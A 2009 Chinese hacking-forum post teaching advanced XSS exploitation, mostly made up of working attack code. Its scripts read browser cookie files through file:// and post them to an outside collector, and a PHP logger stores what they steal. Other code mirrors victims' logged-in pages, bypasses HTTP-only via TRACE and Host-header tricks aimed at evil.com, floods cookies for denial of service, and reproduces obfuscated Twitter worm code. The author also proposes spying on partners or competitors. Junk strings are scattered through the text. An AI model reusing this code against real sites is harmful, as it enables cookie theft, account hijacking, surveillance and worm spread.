XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页+ R! Q- M$ S P5 Q1 y4 i8 ]7 Z1 c" C
本帖最后由 racle 于 2009-5-30 09:19 编辑 % y+ g7 G9 C4 N7 A
! I: G f' m4 D) hXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页) H. k, O) B- N& i" r8 A; m. g
By racle@tian6.com
( ~) V/ ]* d. G$ ~7 ]+ I) Zhttp://bbs.tian6.com/thread-12711-1-1.html
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% ]$ p4 x+ ^% ~ |9 n4 G$ h-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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% u- x, l" u' C( Q' {如果你还未具备基础XSS知识,以下几个文章建议拜读:
( N' {8 F% J. N; \! N7 t" uhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介& j9 X, g/ \0 S5 d8 ^
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全. X6 {. d Z- D7 k# `. t, x
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过* b# F3 d% `4 G I/ p1 \
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF/ S6 R* Z3 |+ e% f, }9 \6 z- V
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
. }" Q: i& ?, Y# A3 n1 E2 xhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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* {" t+ j2 s3 `6 p% b希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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* A5 J l6 ]( D$ ^; U如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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9 T! a3 u- F# W/ Q2 u2 vBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大4 V# X( ^8 j1 J) X
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QQ ZONE,校内网XSS 感染过万QQ ZONE.$ K5 J( a. j/ e
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪$ q# [3 g0 a! K L) K
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1 b8 U) g+ B( K复制代码------------------------------------------介绍-------------------------------------------------------------: h3 N- G: z2 F9 ]
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.. T; {+ I+ S6 M& x h" i5 B
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6 H, L. ~% w7 E) Y* {1 w" |6 T跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.: p" d2 @4 i/ F: e
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* P: {: `# i- ` N! U- I如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( R5 r4 M7 Q# w3 j2 {7 Z8 x( S复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题." |1 m, h( C7 h
我们在这里重点探讨以下几个问题:! d1 }. y3 G! ?# V+ a
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1 通过XSS,我们能实现什么?
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- ?. i# \0 A0 C" O) c2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?- [6 O `- Z3 t0 _0 q
c S3 P6 r1 V1 w B) ^$ ^3 XSS的高级利用和高级综合型XSS蠕虫的可行性?5 R' g# z$ I, A, T0 }! j
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4 XSS漏洞在输出和输入两个方面怎么才能避免.* ?- P- h6 a0 q6 R+ D
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0 ~! ]/ h, }8 m% W$ l5 R9 D1 t------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫./ k8 w8 L+ \. K9 C8 u/ l
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫1 X6 Q: t8 j- N
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.+ ~8 U: K( }$ I5 Y
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
; D# o+ F# z9 E* T2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
5 H; O1 l0 S) m0 ?3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.8 B2 x" H4 g% \
4:Http-only可以采用作为COOKIES保护方式之一.' ]. O- j+ U4 }+ V7 Y- d! p
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/ w; E9 Y# w: R) Y1 L* t- [. w(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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4 N }+ Q% ?' o5 ?: D. h 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。& [" W1 B+ v9 w
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; u9 \0 ?! z; u- l 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。0 g4 T4 n! U7 H1 u8 f$ y' D
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h) P, _2 H' q9 Z `- f* I" Z, v: p 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制." \7 D" ]9 o7 k( ~. H7 M) G2 t7 e
复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}
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if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {8 q: G W4 l8 E
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',: N0 H. G& D/ a# a
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request = new ActiveXObject(versions);
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return request;
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var _x = ajax_obj();' X2 u- Y- y/ `) s. F
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function _7or3(_m,action,argv){
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);
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1 l/ S: C. ^" h5 T' Z4 u; U# R9 g </script>
5 V$ ~' l( G0 I9 ]复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>& z" n! m) b/ G/ F
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function ajax_obj(){
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var request = false;' P' G3 @: V+ h3 e) X5 S. k! H
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if(window.XMLHttpRequest) {+ x0 l) s. J+ K4 U# U
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',% h& R+ V0 _6 B! ~; F. W
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o* Z: U! `% Q for(var i=0; i<versions.length; i++) {! n6 E9 q' l- U$ n @7 [( v
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" C" d6 B6 I* Y) b request = new ActiveXObject(versions);
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return request;% U# ?! K7 [0 A! p9 f6 u( Z* X8 }
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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</script>
7 N& t. B# }4 a+ B2 q u% h复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"1 y: `+ |6 ^7 L. v: I4 O% \5 o
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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8 A* I! d2 ?* A: X& sheader("Content-Disposition: attachment;filename=kxlzx.htm"); 5 H/ O s4 g+ I5 t* x5 V; d$ }
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header("Content-type: application/kxlzx");
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set header, so just download html file,and open it at local. 2 a( e& k8 L2 s6 y* g
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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, ^- H0 v4 ]8 q" s5 d( ^. Y! ?& g7 f <input id="input" name="cookie" value="" type="hidden">
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</form> 9 o: [' p. c- [' p* k2 l% A0 L8 T
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<script> " i: ~- N/ P) a/ i7 C
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function doMyAjax(user)
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{
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( W" y2 _8 J' ]/ Hvar time = Math.random(); 4 ]2 y% b$ \/ T/ M6 S
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/* $ b; q' W, z2 g3 E
& i& M$ B( T( Z$ q$ f2 ^the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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2 h9 \" n8 d$ @! N0 C. D0 oand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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*/
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! l% C J* E$ a6 Evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer);
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1 ~; i7 Y0 T: H& k' Efunction Enshellcode(txt) ( C$ |8 c: ~+ X4 V+ O" o: [8 v3 v
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{
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9 O% J/ }4 m7 {4 T' yvar url=new String(txt);
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+ {; Q1 Y K' t- r. I/ evar i=0,l=0,k=0,curl=""; 4 }" O# L$ I& I% j# k, G
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l= url.length;
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1 C6 a5 D) T1 _1 [' G1 S z& |for(;i<l;i++){ 9 e; E6 }1 W$ c4 h' R$ Z }
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k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} % V/ X0 e. G* A j
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if (l%2){curl+="00";}else{curl+="0000";} 3 Q: _ n/ B9 f/ Z# t0 P
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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" L+ V+ J( D$ j; _7 q$ R1 U! yreturn curl; # L U" s6 @) }1 Q$ ^
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* {( B' `1 J: l' v7 Jvar xmlHttp;
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- v* q7 a5 U9 r# ^function createXMLHttp(){
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6 l& D% }: t' A( Y' ?6 `8 Z7 `! C if(window.XMLHttpRequest){ * v/ @2 a* k0 Q7 g" m* C! o- ?" _
; P- [) ~1 y5 s- z8 b, o* R$ WxmlHttp = new XMLHttpRequest();
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}
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else if(window.ActiveXObject){ ; h) _9 \' h- l6 o, a' g m
5 n. H' N: ^) K T9 W2 UxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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0 |' V5 n( I; [}
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$ _+ d& h, M+ q+ ~" t9 a* Zfunction startRequest(doUrl){ & A4 z+ s8 p$ W% T
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){ 4 d# `: L6 ~! y
0 i% i5 b: j7 A3 H! @; M var strResponse = "";
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1 C" j& F1 Y4 V U& M setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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} $ M7 R2 l# a- k$ t# O
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function framekxlzxPost(text) ; Q1 g, n1 _& X/ s- i5 M# f
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{ ) }+ M: O' v6 N4 V$ \; i! }
. k6 ~/ X3 A& i* _! H. }! @ document.getElementById("input").value = Enshellcode(text); 8 z6 [0 i1 r6 P k
Z$ J( v4 x8 y6 b0 C2 p document.getElementById("form").submit(); " F; a+ F: z& Q0 y- c$ M
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} ) L2 W! j3 I! o. L) ?, t; ^
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0 U1 S p. ^: D, e( B7 G h3 R6 U% j) a0 qdoMyAjax("administrator");
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/ X5 ~; v1 b t7 Q; ~4 ]/ U</script>6 l" K8 L( g! z1 w/ U
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ) R1 P& I: k/ s! j& t2 k
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var xmlHttp;
1 Q2 n+ x: f3 X3 q' k
+ N5 k' Q) W4 O+ j2 M' |: |function createXMLHttp(){
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% b/ w# w( _" n8 S, Z if(window.XMLHttpRequest){
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$ Z+ y( J* M' H+ q% [$ ]! V& |- K xmlHttp = new XMLHttpRequest(); 9 S4 [- R4 y$ H/ D1 V0 u
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} % w9 W* j' c4 ^, p5 r4 ^
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else if(window.ActiveXObject){
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7 N; K, j' Z- S, @9 o xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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$ J4 r& E- s. U- h }
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}
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function startRequest(doUrl){ ( G' t# Y- y x1 m
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7 z- @ k; [! s; r7 Z+ W9 p! F3 V. N6 x( @) C
createXMLHttp();
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1 V- [0 W9 ^6 W9 Z! l xmlHttp.onreadystatechange = handleStateChange;
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; e9 g# b/ q* S( t3 q6 {/ ` xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); , Y. c! i6 f, i3 E% J* f8 F
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. k$ D; X7 f, h% K2 g}
! {$ Z" |: F9 r
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function handleStateChange(){
4 E- i$ n2 c. ^9 `9 ~
! ]5 R* V1 y8 {( ]: R9 p if (xmlHttp.readyState == 4 ){
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var strResponse = "";
# ?4 w1 L& b& R7 U( O0 m) z1 j
( v' t6 d7 g1 [$ A9 D setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); " h/ S" t# h7 Q* v
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+ k: z8 x+ f! T9 b C: w G" Cfunction doMyAjax(user,file)
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6 O5 X6 [) M4 P) n K{
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var time = Math.random();
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: G& M' w: S: Y: w" U$ O4 o var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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. T. y/ q4 b; h. W X! a startRequest(strPer);
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} ! J, ~9 \1 u6 i7 H* r. i& `! g; C A* M
: K$ J% v& }; h; k4 { * c, a' w) g5 h2 ~2 r
* \% D ?7 J+ T" I8 bfunction framekxlzxPost(text) 2 H& \, v6 N4 C, }# s- i
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/);
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doMyAjax('administrator','administrator@alibaba[1].txt'); * V* F# _: r' ? N
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</script># K9 w& K8 d" ]6 g' h2 ?
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a.php
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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9 f6 W. K* X+ v5 J2 x, J$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; # j" r$ Y5 T) ` \3 U9 j
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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/ H Y$ W9 X# @/ Y* Efwrite($fp,$_GET["cookie"]); + @- T& E; V+ a! a* b
+ @( P) W, E% C) n6 ]fclose($fp); 7 J* G; U% m% s, M' ], ]
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1 Q' p# I- ~, O复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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( I$ }0 N u4 s6 S, n; n6 l或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 D. d* ]) q2 D' }" v! D3 e- F: E利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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6 u2 ?3 [! h; U0 R8 m3 J//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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6 @6 o( W& R+ X. l//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {( p7 w- v# |7 |* m; f5 A: _
: i0 Q; @5 G; b1 O/ Jvar image = new Image();
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image.style.width = 0;
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image.style.height = 0;
# p Z0 E E- u$ i
2 P' P4 q3 {$ x% Vimage.src = s;! n0 N9 d; W. w+ K' o; H9 y7 h- U
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}. t4 ^/ j) F# x- W3 m0 L2 d
3 {: x e: J/ T7 w7 z2 S: m- NgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
$ V4 P' j! w4 G- p$ o \复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
9 }* l. |' A) N8 M$ ?这里引用大风的一段简单代码:<script language="javascript">2 B/ z! _* U: r) O" b" l T5 a8 j/ }
3 E3 J6 L( Z k% K( E& H9 Cvar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";
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% s. S+ Q; e, k' Y# {$ }; zwhile (str.length < 4000){
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/ U: x4 S$ U1 p) m str += metastr;- j) a! U8 G) c& p
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" U( E1 r9 i. X" K, ]document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS7 u4 y5 B; e7 a' j$ _
3 w! ]3 H8 s. y+ o. S</script>
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2 T6 F" q1 O' G# K6 s详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
; t7 F" J5 L: S8 J$ e( u P5 Y9 t复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
$ [0 x; ^6 d* f6 @server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150* i! }! y, u+ B: U7 t$ Z: d
: X2 J8 A. I$ k$ W( M2 L假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.2 k# Y5 Q4 Q/ d/ _2 x# E
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:
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W* D" g% Z$ ?% ?4 Y什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
; }0 F: U) Q7 ]6 A9 O以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--( Y W$ y3 \+ z. R
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);8 c6 ^7 K5 c5 @) Y; h, j5 Y
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}
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function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; : @9 M N" n4 U. A% J
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alert(document.cookie);}' ^1 M/ Q+ j+ X8 h% H
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1 K+ J$ R6 F: O1 T0 s! _) x//-->
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" ~4 X5 c# m/ i* Z7 C# S</script>
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' v3 `3 M; j2 B Z) z8 ?+ N8 V<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>1 \! @* ?8 S+ d) a3 V5 h
1 h) B2 J- z; Z2 K$ O2 m6 m<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
1 B$ |9 y3 [* w: S; t7 p* T X2 q复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>" B$ A& j. j% g5 ?5 u
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var request = false;
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if(window.XMLHttpRequest) {
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! ^' G0 F8 K5 a" l6 B request = new XMLHttpRequest();* E8 x$ ^$ }' N7 M3 M6 a
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if(request.overrideMimeType) {/ @: B8 {! _8 u9 \
4 k4 b; H4 L8 e( A+ Y7 m2 ]2 \ request.overrideMimeType('text/xml');$ \& y ]; u4 v) j
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} else if(window.ActiveXObject) {2 a' t# \9 s. i' w5 W
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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0 {2 @- _) U$ _1 m' l7 T% p! ^7 G9 L for(var i=0; i<versions.length; i++) {4 J5 p* s1 h s4 B: O
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try {
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. u/ f* R" Z' R/ `# e7 ] request = new ActiveXObject(versions);
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} catch(e) {}
3 r9 s1 V! }5 p1 r) h9 u! T" }7 U* w* Z0 u+ b# x
}
+ q- _$ D, Y9 l- w6 \3 {$ N/ a$ N' E2 m* Q' n
}0 \2 e @- ]2 W. X# d: ^) ^' U
+ t6 g/ ^6 L% yxmlHttp=request;
, S* |! z+ j R1 h1 Q/ `! z9 u A' n7 H" }
xmlHttp.open("TRACE","http://www.vul.com",false);$ J R0 ~: T6 P$ }" a5 Z! _
6 w7 s+ G4 h3 BxmlHttp.send(null);
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6 K4 P" {4 I E/ L9 GxmlDoc=xmlHttp.responseText;% I" x9 e+ Q9 n& `: ^
& i/ I7 q$ X- k- V$ f
alert(xmlDoc);# x% F2 v! z& A5 d
( | G, X3 t& o+ ^+ Z! D7 X, a( g</script>
1 X8 t6 J$ `) W1 V复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>) P; V2 G# a$ S! w' x
9 e4 h: m o% I( k
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");, _0 O* t) k. }; L, r
# [+ K, a4 C$ v+ ~0 Y- zXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");! m+ L7 U! E p
& u; v% \; G4 l$ z2 F! v
XmlHttp.send(null);
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var resource=xmlHttp.responseText" d% l w% i* }+ T* X6 ^2 N; a7 E
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resource.search(/cookies/);: T. }# V5 U4 f5 x7 T
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......................
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</script>
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# Q0 \7 {* J0 q; V3 P9 z" Q' F" g) Y! O; S3 _* G/ o+ F* Y
- F/ s- H. f G如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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* Z/ T1 x; B! O k[code]
/ g. j( ~) K! s* _' X; M$ Z
/ o& }- {2 y: H9 o, g6 t6 dRewriteEngine On/ b4 n+ ~& x4 L
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RewriteCond %{REQUEST_METHOD} ^TRACE7 a8 c$ k% L3 U4 M4 U) m
2 R0 n8 g" E. W s5 f6 }RewriteRule .* - [F]/ i% Z8 A* r( g+ a e1 @
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- u4 ]. _! T1 b' \) V+ |; b: [; i
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求- N2 N+ Z. j4 | X- W U& ?
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acl TRACE method TRACE
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...
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http_access deny TRACE$ {; b; {$ l7 |+ ^3 b% W3 U
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>. P6 x! _5 _5 P6 T, C0 R
9 t4 h& [4 u5 N) {$ E dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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" H6 x" o, U( Y1 u4 Q4 B# Z* y</script>
+ m% d$ i0 z- I1 |* C复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
5 d r r$ j2 U! H1 {: M; _: }* u- p* Y" K3 m6 T- ^3 }/ E
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");/ i8 B- r6 L/ [1 J) P0 I2 x& a
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6 A; ]5 N4 A- e. XXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);3 U, ]% P) J( p) \
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XmlHttp.send(null);+ P( S( x7 R- X! w1 E* @( |
8 t% P: e8 J( N$ @( _<script>- y4 p7 a, N8 J6 ~2 e
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
3 [! I, y G! Q* v复制代码案例:Twitter 蠕蟲五度發威
: P6 \) W6 C* p! M/ a第一版:) M" d$ s0 P7 V7 H+ H' ?
下载 (5.1 KB)) K5 R0 T$ p% ^* v' d" E
; k2 O ` F7 l6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. 1 A3 x8 @0 d3 F$ n0 O# L! v
0 [, P2 u! ~) X: ?$ N% w 3. function XHConn(){ * X. O6 Q* Q3 b! v9 q
4 s3 e% H/ b' \1 j 4. var _0x6687x2,_0x6687x3=false; 9 d* u0 O1 E! O2 R% B
" P; V' w1 i3 J( {
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } d; K3 q" |) o( u3 B
: Y! E4 a5 Y2 A M
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 2 a$ o; O% a3 t! f
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8. catch(e) { _0x6687x2=false; }; }; };
) x/ }6 }% o8 n6 ]3 J' M, R复制代码第六版: 1. function wait() { 9 s; A6 I! y% \- W1 x
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie; , V! X1 z6 a8 j. o; h: j
+ a" p" i/ U; V1 ^ 4. var tmp_posted=tmp_cookie.match(/posted/); & u5 K2 I' X2 t7 O( x7 p, U1 k9 k
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); Z! d6 G: r8 V7 ]0 z
! U: }8 @0 X Z! `9 h/ U 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; " R" u0 w# }# H
) v" G& A6 o" A+ M 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 4 J( Y; @& l+ S
a' S6 M( U' W4 H! k 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ( Y; b2 E+ y3 a: |! ?3 R
, }) ], ^) L7 V8 O1 P, g
12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; + {) Y ~% W' k- c3 \" I: c O
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; % q- J: [6 `$ a! I' {( s
# z5 c z$ c" x* Z9 y, r. z# u0 @ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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/ A, C* @" d) [: r 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; , p3 r0 X: b3 g3 G
+ D) a1 A( c$ k
20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; # p% }6 w3 f( g( R- G3 X3 P- C
